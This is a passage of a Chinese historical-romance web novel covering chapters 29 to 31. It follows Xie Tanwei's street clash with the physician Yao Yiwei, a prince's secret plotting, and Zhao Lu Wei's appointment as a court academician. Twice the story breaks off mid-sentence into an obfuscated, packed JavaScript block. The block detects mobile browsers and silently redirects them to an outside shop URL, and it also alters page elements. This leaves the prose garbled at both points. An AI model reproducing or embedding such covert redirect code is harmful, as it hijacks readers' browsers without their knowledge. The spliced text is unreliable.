“我知道你和冬至近日为兼顾将军很是辛苦,刚刚便问了将军一个冒犯的问题。我问他为何没有自己的妻儿在身边,他告诉我不曾娶妻。你说,他会不会介意我这么问,心里生气?” 谢探微的神色忽然一凝,“我小时候初到甘州的那两年,记得曾有个女子常来军营外头找阿父,只是军规女子不得入营,我从未正面看过她。只知道,她一来,我就有馄饨饼吃。哦,馄饨饼就是咸京的馄饨。” “那将军除了在营中,就不曾在甘州安家吗?或许这女子就是将军的家眷呢。” 当年的谢探微只有六七岁,在晏令白的管束下几乎不出军营,更不至于问起尊长私事,“阿父要么醉心兵事,要么教导于我,很少离开军营。等我再大些,就再也没见过那个女子了。” 29.针锋 正月十五上元节,咸京开放夜禁,官人士民倾城而出,大街小巷人流涌动,白天都不如晚上热闹。但越是欢动之时,金吾卫的职责便只增不减,似谢探微这般负责巡街的,更则是昼夜不得分身。 “偏是什么时候热闹什么时候最忙,可眼馋死我了。” 一边沿街巡视着,陆冬至便在谢探微耳畔嘀咕,谢探微又哪里不眼红,只想着露微今夜必会出来游逛,他也不能一道。 “你岂止是眼馋,更是嘴馋吧?”谢探微笑道。 陆冬至不否认,左看看右看看,只想把街边美食都记下来,回头全买来吃一遍。然而,他只看两边,不见前路,一下竟撞在谢探微背上——这人不知怎的突然停下了。 “你干嘛不走……” 问了一半,他已经看懂了,谢探微与几步外的一人对视上了,那人身着绿色官衣,手提药箱,正是医官姚宜苏。 “下官见过谢中候。”片刻后,竟是姚宜苏先开了口,眉眼神态间若无其事。 谢探微瞧了一眼他走来的方向,是宫城,只一笑,“姚医官真是辛苦,也当真深受陛下重用,连过个节都要在宫中备职。足可见,姚家万不能少了你这根顶梁,还请姚医官千万珍重,好自为之。” 谢探微正在职上,自不必当街与其冲突,可姚宜苏态度刻意,他也不是看不出来,一番话自是明嘲暗讽。 姚宜苏嘴角浮现一丝淡笑,又忍着这笑意,略略一僵,“下官家中世代为医,自然精通保养之道,倒是谢中候常年风吹日晒,昼夜辛勤,必定耗损元气,若不及时保养,恐怕英年不寿啊。” “你再说一次?!挑衅金吾,罪同犯上,管你什么医官,抓你下狱便是!”陆冬至原还防着谢探微冲动,可听姚宜苏这般诅咒,顿时就想自己冲上去,被谢探微拽住。 “我的身体就不劳姚医官操心了。”谢探微拂去雪亮的目色,面貌更是愈发明朗的: “毕竟,你虽自为是个家学渊源的名医,尤善妇产及外伤两科,却一则令庶妻难产而亡,留下幼女失恃,二来更不能善治嫡妻,令其满身伤痛。如此医术,谢某可不信得很呐!” 姚宜苏的脸色终于沉了下去,针锋相对终是胜负已明。以其医名攻其医术,恰如以己之矛攻己之盾,谢探微的春秋笔法一下就戳中了姚宜苏的弱点。 谢探微并不想再追穷寇,浪费时间,正要走时,与姚宜苏擦肩之际,却又听道: “你不过是自恃出身,横夺我妻的浪荡纨绔,更是为人不齿!” 姚宜苏说什么谢探微都忍得下,唯独是露微,这意思竟是还想着露微,要抢回去不成? “我上次有没有警告过你,不许再打露微的主意?”他强压着胸口冲上来的气,力都发在了握剑的手上,剑身随着颤抖。 “你走开!” 剑拔弩张之际,忽然一个身影挤进了两人中间,又一把推开了姚宜苏。谢探微慢一步定睛,这才发现是露微挡在了自己身前。 “滚。”露微狠狠瞪着姚宜苏。 姚宜苏眼中也有惊诧,但两颊肌肉鼓动,切齿隐忍,终究没再多说一个字,离开了。 “微微,我不会傻到跟他当街动手,他也不是我的对手,可你刚刚那样不怕伤了自己?!”谢探微不禁后怕,露微冲来正好擦过他的佩剑,若他没按紧,令剑身滑出,一定会在她身上留下伤口。 可露微的惊魂未定,并不在自己。 今夜难得放禁,她也知谢探微正忙,便故意借口夜游,想着能在城西一片偶遇。可谁知,遇到这人并不难,却一见竟是两人互不相让的场景,她哪有时间为自己害怕。 “你没事就好。”她松了口气,眼眶早已积聚的泪水不觉滑落,被她一把抹去。 “微微,”谢探微见之一慌,立马想上前,才觉自己通身甲胄,“别哭,我现在不能抱你。” “以后若再遇到他,不管他说了什么,你都不许冲动,不止是不动手,而是不动怒,你能做到吗?”露微说着又着意退开了一步。 谢探微却迟疑了片时,“我会克制,但不可能毫无感觉。你难道不懂吗?我都是为了你啊。” 这显然不是露微满意的答案。 她哪里是不懂,根本就是太懂了。 她从与姚宜苏成婚起,三年来都没看懂此人,而直到上回姚宜苏在杨家的那番表现,她才猛然意识到,姚宜苏其实一直都是个阴刻之人,心思如海深。可谢探微却是个血性昂扬的人,若改不了冲动,不管是再遇姚宜苏,还是其他,迟早是要吃大亏。 “你父亲那次打了你二十鞭,就是要你遇事三思,不能冲动,你要是还不懂,就去问问你阿父。因小失大,授人以柄,总有一天会害了你。” 说完,露微转身融入了熙攘的人流之中。 谢探微却仍顿步原地,面上不见一丝明朗。 他最不想听的就是父亲那些大道理,也不认为自己是个遇事就冲动的莽夫,可为什么露微也用这样的话来定义他?露微一直是最理解他的,何时竟成了这样? “走吧,露微也是为你好。”陆冬至推了推发愣的谢探微。 “我刚刚有什么做错的地方吗?”谢探微反问。 陆冬至答不上来。 …… 街市上依旧是宝马香车,人流如织,每个出来游逛的人都专注着自己的喜乐,并不在意别人的故事。 然而,也不全是。 街侧的高楼上,有一双眼睛俯瞰着繁华的都城,视线自远处若隐若现的皇城慢慢收近,终究落在了楼前的街市。他看了许久,甲胄青衫,美人泫然,倒觉得十分有趣。 “一个是谢家的长子谢探微,一个是姚炯的儿子,小小的医官,他们能有什么过节?” 他抿了口新烫好的酒,态度悠然,语调中玩味之意多于疑惑。而旁边的侍从闻言却也一笑,说道: “主人与其问他们,倒不如先问那个小美人是谁。” “你认得?”他一回头,眉眼微微上挑,“说。” 侍从不敢造次,直言道:“他就是赵维贞的女儿赵露微,虽说只是继室与前夫所生,却和亲生一样,赵维贞十分疼爱。但就是为了姚炯那件事,为了帮衬姚家,十三岁就嫁给姚宜苏了。” 主人顿了顿,将手中端了一半的酒杯又放下,“那这谢探微又掺和什么?谢道元竟能许他做出这样的事?” 侍从略一拱手,继续道:“主人莫急。这小娘子已经被姚家休了,姚宜苏不知福,还想着从前与舒……” 侍从一顿,瞥见主人眼中闪过的冷色。 “你说吧,此事我早知。”主人并没深究。 “她被休之后就是谢家和晏令白帮了她,所以这位谢公子自然就看上人家了。今天这情形也不难猜,或许这姚宜苏突然后悔了,想要怜取眼前人,但美人反却不肯了。” 听到这里,主人不禁笑出来,“缘分真是妙啊。” “可主人也要当心了,赵家一旦和谢家攀上关系,再加上晏令白,这三家如今可是天子的左右臂,主人所谋的大事,也正是要从这关键之处下手。” 主人却摇头,气定神闲地说道:“谢家是江南豪门,世族领袖,夫人新安郡主背后还有老忠王的宗室威信支撑;赵家虽远不如谢家,也是两朝重臣,执掌机要;至于晏令白,军功卓著,有勇有谋,手里握着咸京最紧要的兵权。” 侍从不知主人为何细数起这三家的底细,问道:“正因如此,主人才该早做打算,不知主人是何用意?” 主人只作一笑,“三家都这样门高势大的,姚宜苏区区医官,便是同他父亲一样升到太医令的位置,也不过是从七品,一辈子都穿不上朱袍,他怎么和谢探微争啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514910|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以,你觉得该如何做?” 侍从顿时大悟,赞道:“主人英明,属下愿替主人去见一见姚宜苏。” 主人满意地点了点头,目光又放远,“替我办事,自是可靠为上,你所言赵露微之事,当真没有差错?” 侍从笃定答道:“赵露微是我看着长大的,没有人比我更清楚赵家的事。我虽然离开了一阵,但咸京的根基是主人早就打下的,不会那么容易冲散,我时时都为主人听着消息呢。” 主人听罢,缓缓侧脸,却拂去一个冷笑:“既提到根基,你可还有一件事没做啊,杜府尹!” 这个称呼让侍从猛一惊,脸色沉去,双膝已跪,“大王,臣自是将功折罪,愿为大王肝脑涂地!臣明日便去,请大王放心。” “嗯,这就好。做完这一件,就去会会姚宜苏,等所有的事都做完了,你的福气可就不止是一个京兆尹了。” 咸京如今的京兆尹并不姓杜,而姓杜的则是被罢黜的上一任京兆尹,杜石羽。他口呼的“大王”亦不是旁人,正是他去南营州投靠的“旧友”,楚王李元珍。 “好了,你起来吧。记得出去见人时把你的面具戴上,倘若你自己不小心让人认出来,可没人会去救你。” 李元珍亲自将杜石羽扶了起来,目光熠熠,面色更是无比畅然,一如目下喧闹的街市,鱼龙舞,万灯明,光亮似昼。 …… 晏令白自病愈后又忙碌起来,但并不只为戍卫之事。 他常在将军府内与同属金吾卫的几个军将议事,而每当议事,也都会遣开其他随从,只叫谢探微和陆冬至守在院外。这样的情形从未有过,两人都很疑惑,却也知打听不得。 这天,两位门神又在院外站下了,一站就是小半日,倒比前几次的时间长了不少。陆冬至先按捺不住了,东张西望,忽见谢探微两眼无光出了神,便伸手戳了下他的腰: “想什么呢?还是露微啊?” 谢探微只觉腰上一痒,转脸就瞪起眼睛:“不要你管!” 陆冬至摇了摇头,只觉得谢探微又别扭上了,而且这两天唯有这一件事,便还是劝道:“你从第一次见她,就对她宽容,不惜枉法,怎么到如今反而不让她了?她那天都哭了,你要真过意得去,会是现在这样?” 谢探微果然是在嘴硬的,脸色凝固,“当时的情形换做是你,你会怎么做?” 陆冬至思索回忆了片刻,“姚宜苏确实不是个好东西,我要冲上去不是被你拦住了?” 谢探微不由长叹一声:就不该问他。 没讨论出个所以然,但这间隙,院内议事散了,晏令白和几位部下走了出来。两人自是辈分最小的,不由肃立拱手,一一行礼。待送完客后,晏令白却也不叫他们下去。 “敏识,怎么了?”晏令白的脚步停在谢探微跟前,是从刚刚出来时就发现了他脸色不对。 谢探微不好说,又不想对晏令白撒谎,沉默了半晌。但陆冬至看着着急,不等晏令白转问他,瞧着眼色,自己就把话接上了。可谁知,晏令白听完登时就怒了,反应远超预料。 “你怎敢欺负她?!”晏令白用手指着谢探微,面色涨红,眼中尽是一片冷厉。 陆冬至只是觉得谢探微最尊晏令白,便能听从劝导。而谢探微自己也从未见晏令白对他这般怒色,就仿佛谢道元每每对他的批判,不分皂白就把所有错都归结在他一人。 然而,到底是露微的事,他没底气,“我以后听她的就是了,可生气是人之常情,我不是不知道分寸。” 晏令白缓了缓,但神色并未一时平和:“寻常事能忍不算什么,若能忍常人之不能忍,才是大丈夫的气度。你要是再这么爱逞匹夫之勇,便是配不上她的。” 谢探微原还寄望义父做主为他去赵家提亲,可这句话砸下来,真如当头一棒,分量重极了。 30.求亲 正月最后一日的朝会上,天子让内官丁仁成当廷宣读了一份制书,册命赵维贞为太子太傅,并让皇太子在满朝文武的注目之下,向赵维贞执了弟子礼。 消息很快遍传咸京,前来赵家贺喜的人将赵府门前的横街挤得水泄不通,其中大多都是高门达宦,也大多都是从前和赵家并无往来的,便都被赵维贞一一谢绝。 然而,随着父亲的授官,没几日,连带露微的才名也一时传扬,原本送给赵维贞的贺帖就变成了向赵家求亲的庚帖。事关女儿,赵维贞便更慎重,便以女儿生病静养为由回避了过去。 两件大事的发生仅在数日之间,露微不暇自顾,只想着事关重大,父亲身上的负重定然不轻。赵维贞将去东宫授课的前一晚,露微去到了父亲的书房。 赵维贞一见女儿便知她的来意,笑着揽到身边,安慰道:“微微,你什么都不用担心,陛下的安排自有道理。” 从前赵家遭难,如今骤然大喜,露微很难不揣测,“太子太傅并非一般职事之官,虽然位在一品,比肩宰相,却从来不是必备的。阿耶可是立国以来第一位太子太傅,皇太子还行了跪拜大礼,我简直不能想象这样的恩荣。但是,阿耶也才刚刚被赦,就算是陛下查明了阿耶的冤屈,又怎会这么快委以大任?前后反差这么大,阿耶必会成为众矢之的,受朝野非议。” 赵维贞静静听完,却不禁自嘲,面对这样聪慧的孩子,他竟想用一句“陛下自有安排”来应付过去。可是,有些话他若能直言,也不必等到今天了。 “微微,阿耶说过,朝廷之事与你无关,但阿耶可以向你保证,赵家再也不会发生之前的事了。朝野的议论何时停过呢?什么都会有人议论,就让他们说,只要微微相信阿耶就好。” 露微能看出父亲的坚定之意,并不是骗她,但既说到议论,又难免生出感叹: “如果阿耶不曾授官,也不会有人想来求亲,什么才名?我就是在陛下面前说了几句实话而已。他们就算娶一个班婕妤回去,也不能在朝堂上保他们加官进爵。倒不知他们知不知道我嫁过人,知道了还会如此?” 赵维贞一向甚少交际,姚家当年也备受冷落,这门亲事实则是少为人知的。无非是到现在,才多了谢家和晏令白清楚详情。而不论是谁家来求亲,赵维贞的态度都早已明确。 “微微,”他轻唤了一声女儿,带着些许不忍,“除了那位谢中候,若另有一户更相配的人家,你愿不愿意呢?” 露微愣了半晌,想用笑掩饰,可已压不住眼中酸涩。她想起来上元夜的情形,也想起了和谢探微之间的点滴。 “阿耶,他是真心待我的,我不是十三岁了,什么都看得明白。可我曾经也很犹豫,觉得自己不能给他带去什么。越是了解他,便越清楚,他不是从甘州军营来的一个平平无奇的小将,他再是与父母不和,也脱不开他的家族。我甚至也会惶恐,真的嫁去谢家,该怎样应对人情世故,若我做不好,他也会被人笑话。” 说到此处,露微停下咽了咽胸口翻涌上来的气息,再抬眼时,泪水早已弹落,“但如果阿耶真的不让我嫁给他,或者谢家根本也不同意,那就请阿耶留我在身边一辈子吧。” 赵维贞本就对女儿深有愧疚,便更看不得她如此,既明理又太过明理。他亦不是世俗的父母,只凭自己决断。 “微微,如果谢家有心,自会送帖登门,你也再容阿耶想想,先不要难过,不要哭了。” 露微既说出了自己的心愿,便也不会再提要求,点了点头,靠在了父亲膝上。父亲的庇护,也是能让她安心的。 …… 谢探微在谢府门前徘徊多时了。 难得一个休沐日,却已空耗了一半,而他之所以舍得空耗,也不过就是为了露微——去赵家求亲的人快把门槛踏破了,又传出露微生病的消息,他却在这紧要关口惹恼了晏令白,便只能取个下策,想求母亲帮忙。 然而,这回远比上回为露微去求父亲为难。 他一不知父母对露微的态度,虽在宫宴见过一次,也是止于礼节之间;二来之前挨打养伤时,母亲的关怀他一次都没接受,便也不知母亲乐不乐意理他。 总之,四面楚歌。 “郡主,咸京明明是云华寺香火最盛,也近些,郡主又何必舍近求远,要去昭成寺呢?那还有一段山路,走得累人。” 谢探微正想一狠心进府去,抬头却见母亲出来了。他一慌,立马要退回来,可母亲只同侍娘说着话,满脸憧憬的笑意,根本没往别的方向看。 “这你就说错了,云华寺是香火盛,可昭成寺是许愿灵,灵才是最重要的!二郎不日便要参加春闱了,做亲娘的还怕山路么?就是在山顶上,我也得一步一步亲自走上去。如此,菩萨必能看见我的诚心,保佑我儿雁塔题名!” 谢探微竟差点忘了,如今已是二月,礼部春闱正是此时。这是弟弟的头等大事,他不能再去分父母的心,而况,父母心中大约已经被弟弟占满了,根本不会再有他的位置。 “阿娘!” 母亲正要登车之际,二郎也从府门跑了出来,穿着一身明显崭新的衣袍,衬着本就明朗朝气的脸,更显得自信得意。 “怎么才来?出个门比娘动作还慢,竟在梳妆打扮不成?”母亲嗔怪着,一笑,“等下到了好好祈福,可不许乱跑。” 弟弟不知想什么,愣了下,忽然道:“要不还是我一个人去吧?反正是我考试,娘又不考。娘应该去多关心阿兄,赵公新封了太傅,赵家炙手可热,听说不少人去求亲呢!娘难道不着急?” 弟弟能在此刻提起自己,谢探微实在没想到,也不禁又期待起母亲的态度,可是—— “娘都准备好了,怎能不去?你阿兄的事急不过你。再说了,你阿耶那日便嘱咐了,不让娘再擅自做主,免得又和芳儿的事一样,不成了更难堪。” “怎会不成呢?难道赵家还能看不上阿兄?就算阿耶从宫宴回来就说,我家不如人家,却不知赵家怎么想。阿耶还是这么武断,若阿兄知道岂不伤心?” 听到这里,谢探微已失去了所有兴致和想法。 母亲觉得不急,父亲觉得他不配,这结果其实次次都一样,却也次次都能击中他的痛处。 他离开了。 但车驾前的母子一时还没登车。 “娘都说了,你阿兄的事急不来,你非在这个时候替你阿兄不平,难不成你能代行父母之命,还要自为媒妁,即刻便要去赵家送庚帖不成?” 谢二郎原是一句比一句着急,可见母亲急了,他反而一下换了副面孔,速度恰和刚刚从地上挪走的影子是同步的。 “好好好,我不说了,今天只去昭成寺!” …… 赵维贞既成了太傅,每日朝会自也不会缺席,待散朝后便要往东宫的崇文殿去给皇太子李衡授课。然则这日刚出外朝大殿,却见晏令白快步跟到了并肩。 “太傅留步。”晏令白先行了一礼,却又欲言又止。 在晏令白调任金吾之前,赵维贞与他从不认识。如今,二人虽然同为天子寄望的重臣,可也从未有过私下的往来。赵维贞看得出来,晏令白这个情状,定不是公事。 “将军不必如此大礼。昔日小女蒙受将军援手,大恩大德赵某此生永记。”赵维贞说得真诚,但也有另一层意思,“将军有话直说便是。” 晏令白轻叹了一声,露出愧色,“晏某听闻,近日府上多有前来向令爱求亲之人,虽不见太傅决断,可都说是因令爱生病之故。不知这孩子病得如何?我一向看她身体单薄,是不是因她那日来探我,天气寒冷,受了风寒之类?” 这番话倒是有些出乎赵维贞的意料,既提到了求亲,却没有为自己的义子谢探微打听。“将军过虑了。”赵维贞一笑,心里倒对晏令白多了几分感佩,略一伸手,示意他一起走到了偏处。 “小女无恙,只不过是赵某谢客的借口。近来朝中异动,将军必也清楚。小女天性聪慧,宫宴面君的那番表现,赵某也没想到,更不料就因此让她牵涉其中,这也是赵某保护她的办法。” 晏令白松了好一口气,但心也只放了一半,点头道:“晏某明白,请太傅放心,我也会尽力护住这孩子的。” 两人言尽于此,赵维贞转向了东宫。而晏令白脚步不辍,却是改了原要去的金吾卫班房,直接出宫回了将军府。 …… 谢探微求助不成,惹了满怀伤心,便牵着马一路走回了将军府。他也想去赵家,可怎么都提不起来劲了。 “你去哪儿了?是不是去赵家了?” 谢探微还没发觉自己已经到了将军府前,就被突如起来的一声质问弄懵了。抬头只见是晏令白一脸严肃地盯着他,却也不及回话,又立马被拉进了府门。 “我没去。”中堂站定,谢探微还是懵的,但积攒的情绪叠加着晏令白的对他的冷淡,又难免令他更低落一层: “阿父,我已经知错了,可我也得见着她才能道歉啊!我绝不会在婚姻大礼上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521520|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亏待她,可也知道阿父现在不愿意,便想去求我母亲,还是不成!他们眼里只有弟弟的春闱,母亲无暇分心,父亲就只会觉得我不配。所以,我什么都没做成!” 晏令白哪里知道谢探微的缘故,只想着赵维贞的话十分紧要,便赶回来叮嘱,生怕谢探微听着别人的风声,再行冲动。而此刻若也随大流去求亲,赵维贞为了保护女儿,便只能一样回绝。这其中更是牵扯朝廷机要,难以解释。 晏令白当真是一片维护之心,却不料谢探微说着眼眶都红了,他缓下语态,走去扶住了谢探微的肩,“敏识,你父母不会如此,你是当面听他们说的?” 谢探微满怀委屈都化作了苦涩一笑:“当不当面,我听得还不够多吗?阿父,我已经不是五岁了,这二十年我难道一点长进都没有么?为什么他们看不见?为什么看不见还要来贬低我?” 晏令白不禁泛起心酸,也是含愧的,扶着他肩膀的手稍一前伸,将这孩子揽进了怀里,一如他小时候,“就算所有人都看不见,阿父也都看在眼里,不要难过了。” 谢探微只是用极力喘息来平衡眼中的酸涩。 “你放心,露微那孩子没有生病,我问过赵太傅了。” 听着谢探微渐渐缓过几分,晏令白适时地送上了一剂安神药,说着一笑,放开了手臂,而谢探微的神色果然也变得极快: “真的啊?那赵家现在到底是什么情形?难道求亲的人也都是假的吗?” “那倒是真的。” …… 李煦为皇太子定下太傅后,每当朝政得闲,都会亲往东宫观看授课。赵维贞德高望重,而又精通经史,自是能让天子满意。 这日李煦自东宫观课返回内朝,一路又觉早春风力已柔,心情着实不错,便与内官丁仁成笑谈起来: “近日太傅家中可还忙得过来么?朕看他倒气定神闲的。” 丁仁成自是耳听八方,消息灵通的,便笑道:“太傅当初既能为陛下舍身顾全,不惜将全家都带去了零陵,自是个有大智慧的人。如今陛下托付国本,封第一任太傅,既能让那些别有用心之人猜不透,引起震慑,也实在是对太傅的褒奖。这道理太傅自然能懂,又怎会困扰于那些趋炎附势的人?过一阵也就散了。” 李煦听来频频点头,末了却又皱起眉,思忖着说道:“说起他家那个小女,着实让朕都开了眼界,聪慧率直又有胆识。朕要是太傅,何止是看不上这群乌合之众,挑起女婿来只怕要经年累月,耽误了女儿青春也未可知。” 李煦两次见到赵家小女,丁仁成都在场,除了也是深有体会,却也另有见地,道:“老奴虽不知太傅的打算,但请陛下细想,现成不就有个好人选么?只怕这人也早已存了念想呢。” 李煦瞥了眼丁仁成,嘴角缓缓扬起一笑,“你是指,那日小宴上,跟朕说‘臣不缺妹妹’的那个?” 丁仁成躬身略一拱手:“陛下英明。” 李煦虽笑意未消,却没有赞同的意思,“臣子家的婚事,朕虽可赐婚,却到底还是人家的家事。你不是跟朕说过,太傅虽十分疼爱这个小女,此女也十分孝义,但其实,她却并非赵家亲女么?” 这件事是丁仁成在赵维贞返京后,奉旨陪伴他去将军府接女儿时听到的一点风声。毕竟当时赵家长子赵启英早已回京,却还把妹妹留在外头。但一如李煦所言,这是官员家事,他一个内官无从置喙,只能是将实情上禀。 “陛下是觉得,谢家会介意赵露微的出身?” 李煦轻舒了口气:“此事深究下去,就会显得朕管得太宽了。而且为人父母,儿女事最是重大,就如同朕想给太子找一位贤师,尚且是斟酌了许久,考虑了各方,更何况是婚姻大事?一桩好的婚姻,关乎家族荣辱,这道理套在治国上也是一样,贤佐可以兴政,佞臣自敢窃国,不能掉以轻心啊。” 眼见李煦越发正言正色,丁仁成也不由肃然,“是老奴浅见了。” 李煦摇了下手,复又淡淡一笑:“太傅、谢道元,还有晏令白,他们必也深知,此时朝中暗流正涌,是不宜彼此结亲的。若将来他们彼此有意,朕也乐见其成。” 丁仁成再明白不过,李煦即位以来励精图治,苦思大局,就是为了有朝一日能一举清除大患。而又崇德尚礼,选贤用能,实则也是要重塑朝堂,为皇太子,为国朝的将来铺路。 “丁仁成,你现在去赵家传朕旨意。”李煦沉默了片刻,忽然目色一亮,“封赵露微为五品女学士,让她辅教于太傅。” 31.意外 当一套朱色官服摆在眼前时,露微犹如在梦中。 父亲累侍两朝,德高望重,才得位列一品,身着紫袍,而长兄是国朝迄今为止最年轻的进士,为官五载,也至多身穿绿衣,可她呢?人在家中坐,朱衣五品衔…… “哎呀,女学士是宫官,又不和男人一样,只是服色职衔参考他们的,有什么不能接受?再说了,你只是辅助赵伯父,又不让你上课,你就去给太子裁纸磨墨,白挣些俸钱回来,岂不好?” 露微虽然不至于抗旨,但前去东宫上职的当天,看着镜中官服打扮的自己还是直犯恍惚。但杨淑贤的这番话也很像是另一种功效不同的迷魂散,多少让她想开了些。 毕竟,当这个官的好处也很明显,不仅能时时陪伴父亲,更重要的是,几天前还堵在家门口求亲的人一下就不见了,大约是没人敢惹天子亲封的五品女官了。 “我好羡慕阿姊,从此可以光明正大每天出门。不像我,左有阿耶,右有阿兄,两重枷锁,苦不堪言呐!” 这不,好处又凭空多了一个。 “你长兄已经到任了?恭喜恭喜啊!”露微想起来,还是正月初听淑贤提到长兄的,如今已是二月头了,“马上要春闱了,你们家眼见还有一件大喜事呢!” 露微脸上的笑意让淑贤看着更加心酸,嘴噘得老高,脸一扭,推着露微出了房门:“快走吧快走吧,拿了俸禄给我买饼餤吃!买好多好多,全部花完!” …… 二月的咸京春寒尚存,还不到桃李争艳之时,露微一身朱红色就显得格外亮眼。自家门登车去往皇城,露微心里还是忐忑。父亲先有朝会,早已入宫,结束后才会去东宫崇文殿,所以便是要她一个人先去面见太子。 即使她已见过太子一面,知道太子不过是个十岁的半大孩子,可一想到是国本所托的储君,岁数就一点都不重要了。 “请赵学士在此稍候。” 东宫崇文殿外,露微被从宫门带路进来的小内官独自留下。周围宫室密集,倒不见有人走动。路旁是一个小花园,栽种的树木才冒新芽,还看不太出是何品种。 “你穿红色很是好看。” 等了一时,露微不见殿里有动静,正想放松放松,冷不防身后响起一句清亮的声音,回头一看,正是皇太子。 “臣见过太子殿下!”露微连忙下拜行礼,目光迅速打量,看太子身后只跟着几个服侍的宫人,倒不是什么大阵仗。 太子李衡围着露微踱了半圈,伸手扶起,却又道:“我说你穿红色很好看,比上回宫宴时的素衣更好看,像你这样的女孩子还是应该多穿鲜艳的颜色才是。” 露微上回并没有听李衡说过话,却怎么一开口显得年纪比她还大似的?想了想,她倒是不能随意应对,道: “回殿下,这身官服是陛下所赐,并非臣自己所选,但臣平时也不会刻意选择鲜艳之色。臣以为,衣服合体比服色夺目更为重要,恰如君子立身,行止有度,儒服儒巾便已能彰显君子之风。” 李衡听得皱起了眉:“你果然是太傅的女儿,说什么都能讲出大道理。我只是觉得很少有人穿红色好看,除了我母后,你是第二个。” 露微一下噎住,心道:这太子怎么一会儿显老一会儿显小的?又不得不继续细思,太子之母也就是先皇后,已过世五年,太子年幼失恃,长于深宫,大约也是有些孤寂的。 “殿下,”露微本是恭敬站着,便半蹲下来,试着牵住了小太子的手,“臣不敢与先皇后相提并论,但臣如今既为东宫女官,面见殿下自是这身官服,能得殿下青眼,是臣之幸。” 李衡笑了,露出了孩童的纯真本色,就拽着露微伸去的手,将露微带到了殿前台阶上坐下了,“左右太傅还没来,今天也不冷,我们在这里说说话吧?” 露微岂有不应的,只是顺便看了看天时,算着今日朝会的时间倒长了些,“是,臣但凭殿下吩咐。” 李衡眨了眨眼睛,说道:“赵学士,我很喜欢太傅,也很喜欢你,以后在这里你不必如此拘束。你是父皇亲封的五品女学士,连掖庭的宫教博士也比不上,没有人敢看轻你。若你还是有所担心,我还可以去求父皇再加封于你。” 露微只是谨慎守礼,毕竟就如李衡所言,她是骤然受封,不似其他宫官,是通过层层考选晋升,就更该行事低调。 “多谢殿下宽慰,可臣并无拘束,更不担心。”露微又在李衡身前蹲了下来,略仰起面孔,态度恳切: “官爵是国家公器,应该以德望才贤为任命的标准,若本末倒置,只凭私心喜好随意命官,必会有人不服,制度不稳则威信全无,国家亦会动荡不安。殿下位在储二,是国本所托,就算只是任命臣这般的女官,也万不可心存此念。若殿下当真喜欢太傅和臣,就请殿下勤勉读书,莫要懈怠,如此也能不负陛下的期望。” 虽然还是一番略显刻板的道理,可露微是不得不规劝。赵家如今已然是炙手可热,太子年少无心,不代表就没有有心人。若类似的话一经传扬,难免是怀璧其罪。 然而,小太子这次没再皱眉,只细细点头,“我记住了,若我以后还有什么过失,也请赵学士像今天这样及时提醒我吧!” 露微终于能稍稍安心了,一笑:“是,臣会悄悄告诉殿下的。” …… 时辰近午,日光愈发和暖,明光宫含元殿的朝会其实早已结束,而东宫崇文殿外却是随后就聚起了一个小朝,人不必两班文武,就只一君二臣,三个人。 君臣三人未动声色,已将殿前的情形尽收眼底。 “陛下,小女虽蒙圣眷,却从未研习宫规,今日是她初次侍奉太子殿下,多有冒犯之处,臣愿替小女领罪。” 能说这话的自然就是太傅赵维贞。散朝后,他因记挂着女儿,来东宫的心情比往日急切,可还不及走出大殿就被内官唤了回去,说皇帝要和他一起来。 然而,女儿的表现虽然并没有什么重大纰漏,他却看着皇帝笑而不语的神情,内心越发忐忑。 话音落下片刻,李煦才稍稍转脸,却不是对赵维贞,“谢卿,你说如何,这赵学士可有冒犯太子之处啊?” 谢卿,就是谢道元,君臣三人的剩下一人。 “臣……”谁知,谢道元竟还没有收回目光,匆忙间也竟找不到一句合适的话来回。 “这很难回答?”李煦挑动着眉,笑意不减,似试探,又微妙,忽然长舒了一口气,道: “朕看啊,这赵学士——很该到朕家来。” …… 不知道为什么,父亲今日没有来东宫授课。露微陪伴太子说了几句话就被告知,父亲已在宫门等她。等一路小跑过去相见,她自是张口就问,但父亲的脸色却不是很好。 “陛下今日另有安排,就不用授课了。” 虽说圣意难测,但露微还是有些敏感,可正要深究时,余光一闪,竟在父亲身后方向的街角望见了谢探微的身影。而一与之对视,那人却又背过了身,回避得很是刻意。 “微微!” 赵维贞就与女儿面对,立马便发现了她的眼神不对,稍一回头就看明白了。他虽没有与谢家这个长子打过照面,但女儿再三表明心意,他早是有心留意过的。 “阿耶,我……”露微此刻早已转移了心思,只想着上元节那晚与谢探微起了龃龉,至今已有半月不通音讯了。而近来家中多事,她也不知谢探微心中所想。 不过,赵维贞并未立即要带露微走,却是问道:“今日侍奉太子,可还好吗?” 露微原本是要与父亲细说,但心早已乱了,“太子年少,心性纯真,待我十分礼遇,还,还算顺利。”说着,她的眼神又飘向街角,那人还没走。 赵维贞略皱起了眉,不言语,片刻后忽然自行跨上了马,临去前只嘱咐了一句话: “家中的纸墨该添置了,你去采买一些吧,宵禁之前务必回家。” 露微在原地愣神了些时才反应过来,父亲应该是故意的。 难道父亲这么容易就松口了? 一时难懂,可总不能浪费这意外所得的半日,示意下人将马车停远后,露微毫无迟疑地跑向了街角。 可不知怎的,谢探微已见她过来,却反而要走,两人一前一后竟追进了一家茶肆: “你想怎么样?!” 